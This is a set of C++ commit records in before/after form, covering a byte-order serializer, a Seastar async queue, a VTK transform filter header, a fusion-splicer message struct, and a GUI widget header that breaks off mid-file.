template<class T> typename std::enable_if_t<!std::is_arithmetic<T>::value, Serializer>& operator()(T& t) { t(*this); return *this; } private: static constexpr bool isBigEndian() { union { uint32_t i; char c[4]; } chk = { 0x01020304 }; return (chk.c[0] == 1); } template<class T> static T swapEndianness(T t) { union { T t; unsigned char t8[sizeof(T)]; } source, dest; source.t = t; for (size_t i = 0; i < sizeof(T); i++) dest.t8[i] = source.t8[sizeof(T) - i - 1]; return dest.t; } #pragma warning(push) #pragma warning(disable: 4244) // possible loss of data /* Original public domain code: http://beej.us/guide/bgnet/examples/ieee754.c */ static uint64_t pack754(long double f, unsigned bits, unsigned expbits) { long double fnorm; int shift; long long sign, exp, significand; unsigned significandbits = bits - expbits - 1; // -1 for sign bit if (f == 0.0) return 0; // get this special case out of the way // check sign and begin normalization if (f < 0) { sign = 1; fnorm = -f; } else { sign = 0; fnorm = f; } // get the normalized form of f and track the exponent shift = 0; while (fnorm >= 2.0) { fnorm /= 2.0; shift++; } while (fnorm < 1.0) { fnorm *= 2.0; shift--; } fnorm = fnorm - 1.0; // calculate the binary form (non-float) of the significand data significand = fnorm * ((1LL << significandbits) + 0.5f); // get the biased exponent exp = shift + ((1 << (expbits - 1)) - 1); // shift + bias // return the final answer return (sign << (bits - 1)) | (exp << (bits - expbits - 1)) | significand; } static long double unpack754(uint64_t i, unsigned bits, unsigned expbits) { long double result; long long shift; unsigned bias; unsigned significandbits = bits - expbits - 1; // -1 for sign bit if (i == 0) return 0.0; // pull the significand result = (i&((1LL << significandbits) - 1)); // mask result /= (1LL << significandbits); // convert back to float result += 1.0f; // add the one back on // deal with the exponent bias = (1 << (expbits - 1)) - 1; shift = ((i >> significandbits)&((1LL << expbits) - 1)) - bias; while (shift > 0) { result *= 2.0; shift--; } while (shift < 0) { result /= 2.0; shift++; } // sign it result *= (i >> (bits - 1)) & 1 ? -1.0 : 1.0; return result; } #pragma warning(pop) }; template<class T> class IsSerializer { template<class U, bool E> static std::true_type test(Serializer<U, E> const &); static std::false_type test(...); public: static bool const value = decltype(test(std::declval<T>()))::value; }; template<class Serializer, class T = void> using EnableSerializer = std::enable_if_t<IsSerializer<Serializer>::value, T>; } <|endoftext|>
<commit_before>/* * This file is open source software, licensed to you under the terms * of the Apache License, Version 2.0 (the "License"). See the NOTICE file * distributed with this work for additional information regarding copyright * ownership. You may not use this file except in compliance with the License. * * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ /* * Copyright (C) 2014 Cloudius Systems, Ltd. */ #pragma once #include <seastar/core/circular_buffer.hh> #include <seastar/core/future.hh> #include <queue> #include <seastar/util/std-compat.hh> namespace seastar { /// Asynchronous single-producer single-consumer queue with limited capacity. /// There can be at most one producer-side and at most one consumer-side operation active at any time. /// Operations returning a future are considered to be active until the future resolves. template <typename T> class queue { std::queue<T, circular_buffer<T>> _q; size_t _max; std::optional<promise<>> _not_empty; std::optional<promise<>> _not_full; std::exception_ptr _ex = nullptr; private: void notify_not_empty() noexcept; void notify_not_full() noexcept; public: explicit queue(size_t size); /// \brief Push an item. /// /// Returns false if the queue was full and the item was not pushed. bool push(T&& a); /// \brief Pop an item. /// /// Popping from an empty queue will result in undefined behavior. T pop(); /// \brief access the front element in the queue /// /// Accessing the front of an empty queue will result in undefined /// behaviour. T& front(); /// Consumes items from the queue, passing them to \c func, until \c func /// returns false or the queue it empty /// /// Returns false if func returned false. template <typename Func> bool consume(Func&& func); /// Returns true when the queue is empty. bool empty() const; /// Returns true when the queue is full. bool full() const; /// Returns a future<> that becomes available when pop() or consume() /// can be called. /// A consumer-side operation. Cannot be called concurrently with other consumer-side operations. future<> not_empty(); /// Returns a future<> that becomes available when push() can be called. /// A producer-side operation. Cannot be called concurrently with other producer-side operations. future<> not_full(); /// Pops element now or when there is some. Returns a future that becomes /// available when some element is available. /// If the queue is, or already was, abort()ed, the future resolves with /// the exception provided to abort(). /// A consumer-side operation. Cannot be called concurrently with other consumer-side operations. future<T> pop_eventually(); /// Pushes the element now or when there is room. Returns a future<> which /// resolves when data was pushed. /// If the queue is, or already was, abort()ed, the future resolves with /// the exception provided to abort(). /// A producer-side operation. Cannot be called concurrently with other producer-side operations. future<> push_eventually(T&& data); /// Returns the number of items currently in the queue. size_t size() const { return _q.size(); } /// Returns the size limit imposed on the queue during its construction /// or by a call to set_max_size(). If the queue contains max_size() /// items (or more), further items cannot be pushed until some are popped. size_t max_size() const noexcept { return _max; } /// Set the maximum size to a new value. If the queue's max size is reduced, /// items already in the queue will not be expunged and the queue will be temporarily /// bigger than its max_size. void set_max_size(size_t max) { _max = max; if (!full()) { notify_not_full(); } } /// Destroy any items in the queue, and pass the provided exception to any /// waiting readers or writers - or to any later read or write attempts. void abort(std::exception_ptr ex) { while (!_q.empty()) { _q.pop(); } _ex = ex; if (_not_full) { _not_full->set_exception(ex); _not_full= std::nullopt; } if (_not_empty) { _not_empty->set_exception(std::move(ex)); _not_empty = std::nullopt; } } /// \brief Check if there is an active consumer /// /// Returns true if another fiber waits for an item to be pushed into the queue bool has_blocked_consumer() const noexcept { return bool(_not_empty); } }; template <typename T> inline queue<T>::queue(size_t size) : _max(size) { } template <typename T> inline void queue<T>::notify_not_empty() noexcept { if (_not_empty) { _not_empty->set_value(); _not_empty = std::optional<promise<>>(); } } template <typename T> inline void queue<T>::notify_not_full() noexcept { if (_not_full) { _not_full->set_value(); _not_full = std::optional<promise<>>(); } } template <typename T> inline bool queue<T>::push(T&& data) { if (_q.size() < _max) { _q.push(std::move(data)); notify_not_empty(); return true; } else { return false; } } template <typename T> inline T& queue<T>::front() { return _q.front(); } template <typename T> inline T queue<T>::pop() { if (_q.size() == _max) { notify_not_full(); } T data = std::move(_q.front()); _q.pop(); return data; } template <typename T> inline future<T> queue<T>::pop_eventually() { if (_ex) { return make_exception_future<T>(_ex); } if (empty()) { return not_empty().then([this] { if (_ex) { return make_exception_future<T>(_ex); } else { return make_ready_future<T>(pop()); } }); } else { return make_ready_future<T>(pop()); } } template <typename T> inline future<> queue<T>::push_eventually(T&& data) { if (_ex) { return make_exception_future<>(_ex); } if (full()) { return not_full().then([this, data = std::move(data)] () mutable { _q.push(std::move(data)); notify_not_empty(); }); } else { _q.push(std::move(data)); notify_not_empty(); return make_ready_future<>(); } } template <typename T> template <typename Func> inline bool queue<T>::consume(Func&& func) { if (_ex) { std::rethrow_exception(_ex); } bool running = true; while (!_q.empty() && running) { running = func(std::move(_q.front())); _q.pop(); } if (!full()) { notify_not_full(); } return running; } template <typename T> inline bool queue<T>::empty() const { return _q.empty(); } template <typename T> inline bool queue<T>::full() const { return _q.size() >= _max; } template <typename T> inline future<> queue<T>::not_empty() { if (_ex) { return make_exception_future<>(_ex); } if (!empty()) { return make_ready_future<>(); } else { _not_empty = promise<>(); return _not_empty->get_future(); } } template <typename T> inline future<> queue<T>::not_full() { if (_ex) { return make_exception_future<>(_ex); } if (!full()) { return make_ready_future<>(); } else { _not_full = promise<>(); return _not_full->get_future(); } } } <commit_msg>queue: require element type to be nothrow move-constructible<commit_after>/* * This file is open source software, licensed to you under the terms * of the Apache License, Version 2.0 (the "License"). See the NOTICE file * distributed with this work for additional information regarding copyright * ownership. You may not use this file except in compliance with the License. * * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ /* * Copyright (C) 2014 Cloudius Systems, Ltd. */ #pragma once #include <seastar/core/circular_buffer.hh> #include <seastar/core/future.hh> #include <queue> #include <seastar/util/std-compat.hh> namespace seastar { /// Asynchronous single-producer single-consumer queue with limited capacity. /// There can be at most one producer-side and at most one consumer-side operation active at any time. /// Operations returning a future are considered to be active until the future resolves. /// /// Note: queue requires the data type T to be nothrow move constructible as it's /// returned as future<T> by \ref pop_eventually and seastar futurized data type /// are required to be nothrow move-constructible. template <typename T> SEASTAR_CONCEPT(requires std::is_nothrow_move_constructible_v<T>) class queue { std::queue<T, circular_buffer<T>> _q; size_t _max; std::optional<promise<>> _not_empty; std::optional<promise<>> _not_full; std::exception_ptr _ex = nullptr; private: void notify_not_empty() noexcept; void notify_not_full() noexcept; public: explicit queue(size_t size); /// \brief Push an item. /// /// Returns false if the queue was full and the item was not pushed. bool push(T&& a); /// \brief Pop an item. /// /// Popping from an empty queue will result in undefined behavior. T pop(); /// \brief access the front element in the queue /// /// Accessing the front of an empty queue will result in undefined /// behaviour. T& front(); /// Consumes items from the queue, passing them to \c func, until \c func /// returns false or the queue it empty /// /// Returns false if func returned false. template <typename Func> bool consume(Func&& func); /// Returns true when the queue is empty. bool empty() const; /// Returns true when the queue is full. bool full() const; /// Returns a future<> that becomes available when pop() or consume() /// can be called. /// A consumer-side operation. Cannot be called concurrently with other consumer-side operations. future<> not_empty(); /// Returns a future<> that becomes available when push() can be called. /// A producer-side operation. Cannot be called concurrently with other producer-side operations. future<> not_full(); /// Pops element now or when there is some. Returns a future that becomes /// available when some element is available. /// If the queue is, or already was, abort()ed, the future resolves with /// the exception provided to abort(). /// A consumer-side operation. Cannot be called concurrently with other consumer-side operations. future<T> pop_eventually(); /// Pushes the element now or when there is room. Returns a future<> which /// resolves when data was pushed. /// If the queue is, or already was, abort()ed, the future resolves with /// the exception provided to abort(). /// A producer-side operation. Cannot be called concurrently with other producer-side operations. future<> push_eventually(T&& data); /// Returns the number of items currently in the queue. size_t size() const { return _q.size(); } /// Returns the size limit imposed on the queue during its construction /// or by a call to set_max_size(). If the queue contains max_size() /// items (or more), further items cannot be pushed until some are popped. size_t max_size() const noexcept { return _max; } /// Set the maximum size to a new value. If the queue's max size is reduced, /// items already in the queue will not be expunged and the queue will be temporarily /// bigger than its max_size. void set_max_size(size_t max) { _max = max; if (!full()) { notify_not_full(); } } /// Destroy any items in the queue, and pass the provided exception to any /// waiting readers or writers - or to any later read or write attempts. void abort(std::exception_ptr ex) { while (!_q.empty()) { _q.pop(); } _ex = ex; if (_not_full) { _not_full->set_exception(ex); _not_full= std::nullopt; } if (_not_empty) { _not_empty->set_exception(std::move(ex)); _not_empty = std::nullopt; } } /// \brief Check if there is an active consumer /// /// Returns true if another fiber waits for an item to be pushed into the queue bool has_blocked_consumer() const noexcept { return bool(_not_empty); } }; template <typename T> inline queue<T>::queue(size_t size) : _max(size) { } template <typename T> inline void queue<T>::notify_not_empty() noexcept { if (_not_empty) { _not_empty->set_value(); _not_empty = std::optional<promise<>>(); } } template <typename T> inline void queue<T>::notify_not_full() noexcept { if (_not_full) { _not_full->set_value(); _not_full = std::optional<promise<>>(); } } template <typename T> inline bool queue<T>::push(T&& data) { if (_q.size() < _max) { _q.push(std::move(data)); notify_not_empty(); return true; } else { return false; } } template <typename T> inline T& queue<T>::front() { return _q.front(); } template <typename T> inline T queue<T>::pop() { if (_q.size() == _max) { notify_not_full(); } T data = std::move(_q.front()); _q.pop(); return data; } template <typename T> inline future<T> queue<T>::pop_eventually() { // seastar allows only nothrow_move_constructible types // to be returned as future<T> static_assert(std::is_nothrow_move_constructible_v<T>, "Queue element type must be no-throw move constructible"); if (_ex) { return make_exception_future<T>(_ex); } if (empty()) { return not_empty().then([this] { if (_ex) { return make_exception_future<T>(_ex); } else { return make_ready_future<T>(pop()); } }); } else { return make_ready_future<T>(pop()); } } template <typename T> inline future<> queue<T>::push_eventually(T&& data) { if (_ex) { return make_exception_future<>(_ex); } if (full()) { return not_full().then([this, data = std::move(data)] () mutable { _q.push(std::move(data)); notify_not_empty(); }); } else { _q.push(std::move(data)); notify_not_empty(); return make_ready_future<>(); } } template <typename T> template <typename Func> inline bool queue<T>::consume(Func&& func) { if (_ex) { std::rethrow_exception(_ex); } bool running = true; while (!_q.empty() && running) { running = func(std::move(_q.front())); _q.pop(); } if (!full()) { notify_not_full(); } return running; } template <typename T> inline bool queue<T>::empty() const { return _q.empty(); } template <typename T> inline bool queue<T>::full() const { return _q.size() >= _max; } template <typename T> inline future<> queue<T>::not_empty() { if (_ex) { return make_exception_future<>(_ex); } if (!empty()) { return make_ready_future<>(); } else { _not_empty = promise<>(); return _not_empty->get_future(); } } template <typename T> inline future<> queue<T>::not_full() { if (_ex) { return make_exception_future<>(_ex); } if (!full()) { return make_ready_future<>(); } else { _not_full = promise<>(); return _not_full->get_future(); } } } <|endoftext|>
<commit_before>/*========================================================================= Program: Visualization Toolkit Module: vtkTransformFilter.hh Language: C++ Date: $Date$ Version: $Revision$ Copyright (c) 1993-1995 Ken Martin, Will Schroeder, Bill Lorensen. This software is copyrighted by Ken Martin, Will Schroeder and Bill Lorensen. The following terms apply to all files associated with the software unless explicitly disclaimed in individual files. This copyright specifically does not apply to the related textbook "The Visualization Toolkit" ISBN 013199837-4 published by Prentice Hall which is covered by its own copyright. The authors hereby grant permission to use, copy, and distribute this software and its documentation for any purpose, provided that existing copyright notices are retained in all copies and that this notice is included verbatim in any distributions. Additionally, the authors grant permission to modify this software and its documentation for any purpose, provided that such modifications are not distributed without the explicit consent of the authors and that existing copyright notices are retained in all copies. Some of the algorithms implemented by this software are patented, observe all applicable patent law. IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS. =========================================================================*/ // .NAME vtkTransformFilter - transform points and associated normals and vectors // .SECTION Description // vtkTransformFilter is a filter to transform point coordinates and // associated point normals and vectors. Other point data is passed // through the filter. // (An alternative method of transformation is to use vtkActors methods // to scale, rotate, and translate objects. The difference between the // two methods is that vtkActor's transformation simply effects where // objects are rendered (via the graphics pipeline), whereas // vtkTransformFilter actually modifies point coordinates in the // visualization pipeline. This is necessary for some objects // (e.g., vtkProbeFilter) that require point coordinates as input). // .EXAMPLE XFormSph.cc #ifndef __vtkTransformFilter_h #define __vtkTransformFilter_h #include "vtkPointSetToPointSetFilter.hh" #include "vtkTransform.hh" class vtkTransformFilter : public vtkPointSetToPointSetFilter { public: vtkTransformFilter() : Transform(NULL) {}; ~vtkTransformFilter() {}; char *GetClassName() {return "vtkTransformFilter";}; void PrintSelf(ostream& os, vtkIndent indent); unsigned long int GetMTime(); // Description: // Specify the transform object used to transform points. vtkSetObjectMacro(Transform,vtkTransform); vtkGetObjectMacro(Transform,vtkTransform); protected: void Execute(); vtkTransform *Transform; }; #endif <commit_msg>*** empty log message ***<commit_after>/*========================================================================= Program: Visualization Toolkit Module: vtkTransformFilter.hh Language: C++ Date: $Date$ Version: $Revision$ Copyright (c) 1993-1995 Ken Martin, Will Schroeder, Bill Lorensen. This software is copyrighted by Ken Martin, Will Schroeder and Bill Lorensen. The following terms apply to all files associated with the software unless explicitly disclaimed in individual files. This copyright specifically does not apply to the related textbook "The Visualization Toolkit" ISBN 013199837-4 published by Prentice Hall which is covered by its own copyright. The authors hereby grant permission to use, copy, and distribute this software and its documentation for any purpose, provided that existing copyright notices are retained in all copies and that this notice is included verbatim in any distributions. Additionally, the authors grant permission to modify this software and its documentation for any purpose, provided that such modifications are not distributed without the explicit consent of the authors and that existing copyright notices are retained in all copies. Some of the algorithms implemented by this software are patented, observe all applicable patent law. IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS. =========================================================================*/ // .NAME vtkTransformFilter - transform points and associated normals and vectors // .SECTION Description // vtkTransformFilter is a filter to transform point coordinates and // associated point normals and vectors. Other point data is passed // through the filter. // // (An alternative method of transformation is to use vtkActors methods // to scale, rotate, and translate objects. The difference between the // two methods is that vtkActor's transformation simply effects where // objects are rendered (via the graphics pipeline), whereas // vtkTransformFilter actually modifies point coordinates in the // visualization pipeline. This is necessary for some objects // (e.g., vtkProbeFilter) that require point coordinates as input). // .EXAMPLE XFormSph.cc #ifndef __vtkTransformFilter_h #define __vtkTransformFilter_h #include "vtkPointSetToPointSetFilter.hh" #include "vtkTransform.hh" class vtkTransformFilter : public vtkPointSetToPointSetFilter { public: vtkTransformFilter() : Transform(NULL) {}; ~vtkTransformFilter() {}; char *GetClassName() {return "vtkTransformFilter";}; void PrintSelf(ostream& os, vtkIndent indent); unsigned long int GetMTime(); // Description: // Specify the transform object used to transform points. vtkSetObjectMacro(Transform,vtkTransform); vtkGetObjectMacro(Transform,vtkTransform); protected: void Execute(); vtkTransform *Transform; }; #endif <|endoftext|>
<commit_before>#pragma once #include "zmsg_types.hpp" namespace zmsg { template<> struct zmsg<mid_t::set_fs_spec> { public: uint16_t window_x_row; // unit: pixel uint16_t window_x_col; // unit: pixel uint16_t window_y_row; // unit: pixel uint16_t window_y_col; // unit: pixel uint32_t nm_per_pixel; // unit: nm/pixel uint32_t nm_per_step; // unit: nm/step uint16_t img_cap_delay; // unit: ms uint32_t clr_discharge_gap; // unit: nm uint16_t check_fiber_exist_time; // unit: ms uint16_t motor_min_speed[motorId_t::NUM]; uint16_t motor_max_speed[motorId_t::NUM]; uint16_t motor_lzrz_fs_speed; uint16_t motor_xy_precise_calibrate_speed; uint16_t motor_xy_steps_per_pixel; // unit: step/pixel double fiber_outline_blacklevel; // 0.0 ~ 1.0 double calibrating_xy_dist_threshold; // unit: pixel double precise_calibrating_xy_dist_threshold; // unit: pixel double z_dist_threshold; // unit: pixel discharge_data_t discharge_base; discharge_data_t discharge_revise; double dust_check_threshold0; double dust_check_threshold1; double led_brightness[ledId_t::LED_NUM]; public: ZMSG_PU( window_x_row, window_x_col, window_y_row, window_y_col, nm_per_pixel, nm_per_step, img_cap_delay, clr_discharge_gap, check_fiber_exist_time, motor_min_speed, motor_max_speed, motor_lzrz_fs_speed, motor_xy_precise_calibrate_speed, motor_xy_steps_per_pixel, fiber_outline_blacklevel, calibrating_xy_dist_threshold, precise_calibrating_xy_dist_threshold, z_dist_threshold, discharge_base, discharge_revise, dust_check_threshold0, dust_check_threshold1, led_brightness) }; } <commit_msg>zmsg: xy precise calibrate: change data type to uint32_t<commit_after>#pragma once #include "zmsg_types.hpp" namespace zmsg { template<> struct zmsg<mid_t::set_fs_spec> { public: uint16_t window_x_row; // unit: pixel uint16_t window_x_col; // unit: pixel uint16_t window_y_row; // unit: pixel uint16_t window_y_col; // unit: pixel uint32_t nm_per_pixel; // unit: nm/pixel uint32_t nm_per_step; // unit: nm/step uint16_t img_cap_delay; // unit: ms uint32_t clr_discharge_gap; // unit: nm uint16_t check_fiber_exist_time; // unit: ms uint16_t motor_min_speed[motorId_t::NUM]; uint16_t motor_max_speed[motorId_t::NUM]; uint16_t motor_lzrz_fs_speed; uint32_t motor_xy_precise_calibrate_speed; uint16_t motor_xy_steps_per_pixel; // unit: step/pixel double fiber_outline_blacklevel; // 0.0 ~ 1.0 double calibrating_xy_dist_threshold; // unit: pixel double precise_calibrating_xy_dist_threshold; // unit: pixel double z_dist_threshold; // unit: pixel discharge_data_t discharge_base; discharge_data_t discharge_revise; double dust_check_threshold0; double dust_check_threshold1; double led_brightness[ledId_t::LED_NUM]; public: ZMSG_PU( window_x_row, window_x_col, window_y_row, window_y_col, nm_per_pixel, nm_per_step, img_cap_delay, clr_discharge_gap, check_fiber_exist_time, motor_min_speed, motor_max_speed, motor_lzrz_fs_speed, motor_xy_precise_calibrate_speed, motor_xy_steps_per_pixel, fiber_outline_blacklevel, calibrating_xy_dist_threshold, precise_calibrating_xy_dist_threshold, z_dist_threshold, discharge_base, discharge_revise, dust_check_threshold0, dust_check_threshold1, led_brightness) }; } <|endoftext|>
<commit_before>#pragma once #include <cassert> #include <type_traits> #include <initializer_list> #include <gpc/gui/renderer.hpp> // TODO: other source & namespace #include "./basic_types.hpp" #include "./geometry.hpp" #include "./aspects.hpp" #include "./layouting.hpp" //#include "./Stylesheet.hpp" #include "./Resource.hpp" #include "./Full_resource_mapper.hpp" namespace cppgui { // Forward declarations template <class Config, bool With_layout> class Root_widget; template <class Config, bool With_layout> class Abstract_container; /*template <class Config, bool With_layout>*/ class Drag_controller; enum Key_state { pressed, released }; // TODO: move to basic_types.hpp ? template <class Renderer> class Canvas; /** Abstract_widget: functionality common to both Root_widget and Widget, i.e. not including the ability to function as an element in a container. */ template <class Config, bool With_layout> class Abstract_widget { public: using Abstract_widget_t = Abstract_widget; using Root_widget_t = Root_widget<Config, With_layout>; using Canvas_t = typename Canvas<typename Config::Renderer>; using Native_color = typename Canvas_t::Native_color; using Font_handle = typename Canvas_t::Font_handle; using Keyboard = typename Config::Keyboard; using Keycode = typename Keyboard::Keycode; // TODO: move the following resource type definitions into a special struct and inherit from that ? using Color_resource = Resource<const Color &, Native_color, Canvas_t, true>; using Font_resource = Resource<const Rasterized_font *, Font_handle, Canvas_t, false>; using Click_handler = std::function<void(const Point &, int button, int clicks)>; // TODO: support return value ? using Pushed_handler = std::function<void()>; // for buttons TODO: renamed event to "Push" (as in "a push happened") ? auto& rectangle() { return _rect; } auto& rectangle() const { return _rect; } auto& position() { return _rect.pos; } auto& position() const { return _rect.pos; } auto& extents() { return _rect.ext; } auto& extents() const { return _rect.ext; } void set_position(const Point &); void set_extents(const Extents &); // TODO: color and other style definitions belong into stylesheets //static auto button_face_color () { return Color{ 0.8f, 0.8f, 0.8f, 1 }; } //static auto button_face_hovered_color() { return Color{ 0.9f, 0.9f, 0.9f, 1 }; } /** The init() entry point is where a widget "connects" to its backends (the most important of which being the canvas). */ virtual void init() {} /** The update_view_from_data() entry point must be called after init(), and also after layout() if run-time layouting is enabled. */ virtual void compute_view_from_data() {} virtual auto root_widget() -> Root_widget_t * = 0; // Input event injection /** By convention, mouse positions are passed to a widget as relative to their own origin (meaning that it falls to the caller, i.e. usually the container, to subtract the child widget's position() from the coordinates it gets from yet higher up). */ virtual void mouse_motion(const Point &) {} virtual void mouse_button(const Point &, int /*button*/, Key_state) {} virtual void mouse_click(const Point &, int button, int count); virtual void mouse_wheel(const Vector &) {} virtual void text_input(const char32_t *, size_t) {} virtual void key_down(const Keycode &) {} virtual void mouse_enter() {} // TODO: provide "entry point" parameter ? virtual void mouse_exit() {} // TODO: provide "exit point" parameter ? bool disabled() const { return false; } // TODO!!! /** Convention: the provided position is an offset to be added to the widget's own coordinates. */ virtual void render(Canvas_t *, const Point &offs) = 0; virtual bool handle_key_down(const Keycode &) { return false; } protected: // Rendering conveniences // auto rgba_to_native(Canvas_t *, const Color &) -> Native_color; auto rgba_to_native(const Color &) -> Native_color; void fill_rect(Canvas_t *, const Rectangle &rect, const Native_color &); void fill_rect(Canvas_t *, const Rectangle &rect, const Point &offs, const Native_color &); void fill_rect(Canvas_t *, const Point &pos, const Extents &ext, const Native_color &); void fill(Canvas_t *, const Point &offs, const Native_color &); auto convert_position_to_inner(const Point &) -> Point; auto advance_to_glyph_at(const Rasterized_font *, const std::u32string &text, size_t from, size_t to, Point &pos) -> const Glyph_control_box *; void draw_borders(Canvas_t *, const Point & offs, Width width, const Color &color); void draw_borders(Canvas_t *, const Rectangle &rect, const Point &offs, Width width, const Color &color); void draw_borders(Canvas_t *, const Rectangle &rect, const Point &offs, Width width, const Color & top, const Color & right, const Color & bottom, const Color & left); // PROVISIONAL void draw_stippled_inner_rect(Canvas_t *, const Rectangle &, const Point &offs); // Experimental & temporary: implement more sophisticated (and flexible!) styling // - May not / should not stay static; make const if possible static auto stroke_width() -> int { return 1; } static auto stroke_color() -> Color { return { 0, 0, 0, 1 }; } //static auto padding() -> int { return 5; } static auto paper_color() -> Color { return {1, 1, 1, 1}; } private: Rectangle _rect = {}; }; template <class Config, bool With_layout> struct Widget__Layouter { template <class Aspect_parent> struct Aspect: Aspect_parent { void init_layout() {} }; }; // Widget template <class Config, bool With_layout> class Widget: public Config::template Widget_updater< Widget__Layouter<Config, With_layout>::template Aspect< Abstract_widget<Config, With_layout> > > { public: using Renderer = typename Config::Renderer; using Font_handle = typename Renderer::font_handle; using Keyboard = typename Config::Keyboard; using Keycode = typename Keyboard::Keycode; using Abstract_container_t = Abstract_container<Config, With_layout>; using Root_widget_t = Root_widget<Config, With_layout>; using Click_handler = typename Abstract_widget::Click_handler; void set_background_color(const Color &); auto background_color() const; void on_click(Click_handler); // void init(); void set_visible(bool visible = true); bool visible() const { return _visible; } void set_focussable(bool state = true) { _focussable = state; } bool focussable() const { return _focussable; } // TODO: replace with can_take_focus() that takes other factors into consideration ? void added_to_container(Abstract_container_t *); void removed_from_container(Abstract_container_t *); // TODO: should the following be protected ? bool hovered() const { return _hovered; } virtual void take_focus(); /** Important: do not call gained_focus() from a child; call child_obtained_focus() instead, to inform the container. */ virtual void gained_focus(); virtual void loosing_focus(); // TODO: rename to has_keyboard_focus() ? bool has_focus() { return container()->container_has_focus() && container()->focused_child() == this; } bool is_first_child() { return container()->children().front() == this; } bool is_last_child () { return container()->children().back () == this; } void key_down(const Keycode &); //void key_up(const Keycode &); void mouse_enter() override; void mouse_exit() override; void mouse_click(const Point &, int button, int count) override; void change_visible(bool visible = true); protected: auto container() const { return _container; } auto root_widget() -> Root_widget_t * override { return _container->container_root_widget(); } void pass_up_and_notify_focus(); // default take_focus() action // Graphics system integration void shift_horizontally(Position_delta); void shift_vertically(Position_delta); void shift_up (Length); void shift_down(Length); // Static styles // TODO: move to "stylesheet" static auto default_dialog_background_color() -> Color { return {0.6f, 0.6f, 0.6f, 1}; } // Styling // TODO: move to new class Abstract_button<> ? auto button_face_color() -> Color; auto button_border_color() -> Color; auto button_border_width() -> int; Abstract_container_t *_container = nullptr; //Rectangle _inner_rect; private: friend class Drag_controller; friend class Root_widget<Config, With_layout>; Color _bkgnd_clr = {0, 0, 0, 0}; Click_handler _click_hndlr; bool _visible = true; bool _focussable = true; bool _hovered = false; }; // Default implementations for Updating_aspect /** The "Updater" aspect of a widget is responsible for making sure it gets redrawn when invalidate() has been called. The default implementation uses a pointer to parent to pass up redraw requests until they reach the root widget, which "handles" the request by passing it along to callback function. Because there is chance that a different implementation may not need to follow that route (e.g. by calling render() directly), the pointer to container may not be needed, so it is a member of this aspect implementation rather than of Widget<> itself. TODO: THIS IS PROVISIONAL. If it turns out, during further development, that a pointer to container is needed for reasons that are not dependent on the Updater (or any other) aspect family, that pointer, and the methods associated with it, should be moved to the Widget<> stem class. */ template<class Config, bool With_layout> class Abstract_container; template<class Config, bool With_layout> class Default_container_updater; template<class Config, bool With_layout> struct Default__Widget__Updater { template<class Aspect_parent> struct Aspect: public Aspect_parent { class Widget_t: public Widget<Config, true> { friend struct Aspect; }; using Abstract_container_t = Abstract_container<Config, With_layout>; void invalidate(); private: auto p() { return static_cast<Widget_t*>(this); } }; }; // Layouting aspect template <class Config> struct Widget__Layouter<Config, true> { template <class Aspect_parent> struct Aspect: public Aspect_parent { /** It is up to the implementation to guarantee that any internal state/data needed for layouting (including computing/returning the get_minimal_size()) is kept up to date. */ // Layouter aspect contract virtual void init_layout() = 0; virtual auto get_minimal_size () -> Extents = 0; virtual auto get_preferred_size() -> Extents { return get_minimal_size(); } virtual void layout() = 0; //void set_padding(Width); //void set_padding(const std::initializer_list<Width> &); void set_rectangle(const Point &nw, const Point &se); void set_rectangle_nw(const Point &, const Extents &); void set_rectangle_ne(const Point &, const Extents &); void set_rectangle_se(const Point &, const Extents &); void set_rectangle_sw(const Point &, const Extents &); protected: class Widget_t: public Widget<Config, true> { friend struct Aspect; }; auto p() { return static_cast<Widget_t*>(this); } // "Stylesheet" TODO: make this into another aspect ? static constexpr auto button_padding() -> Padding { return { 5, 5, 5, 5 }; } // void compute_inner_rect(); //Padding _padding = {}; // TODO: provide accessor ? }; }; } // ns cppgui #define CPPGUI_INSTANTIATE_WIDGET(Config, With_layout) \ template cppgui::Widget <Config, With_layout>; \ template cppgui::Widget__Layouter <Config, With_layout>; <commit_msg>Safety commit before some experimentation<commit_after>#pragma once #include <cassert> #include <type_traits> #include <initializer_list> #include <gpc/gui/renderer.hpp> // TODO: other source & namespace #include "./basic_types.hpp" #include "./geometry.hpp" #include "./aspects.hpp" #include "./layouting.hpp" //#include 